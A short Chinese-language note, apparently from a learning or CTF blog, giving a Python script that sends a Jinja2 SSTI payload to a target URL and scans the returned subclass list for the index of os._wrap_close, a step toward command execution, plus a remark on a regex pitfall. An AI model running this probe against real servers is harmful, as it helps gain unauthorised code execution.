ssti寻找可命令执行类脚本
目标类:os._wrap_close
#引入html模块用于处理html转义字符 import requests,html,re url='target url' # 设置请求头 headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"} #设置请求参数 kw = {'name':'{{1.__class__.__mro__[-1].__subclasses__()}}'} # params 接收一个字典或者字符串的查询参数,字典类型自动转换为url编码,不需要urlencode() response = requests.get(url, params = kw, headers = headers) text=html.unescape(response.text) #key = re.compile(r'\'\w*\'') class_list=re.split(',',text) print(class_list[0]) for index,value in enumerate(class_list): if(re.search('os._wrap_close',value)!=None): print(index)
关于写脚本时踩过的一点坑,刚开始我的想法是使用re.findall()来把字符串分割成字符:
key = re.compile(r'\'\w*\'') class_list=re.findall(key,text)
但是re.findall()函数返回的列表只有92个元素,不知道什么原因。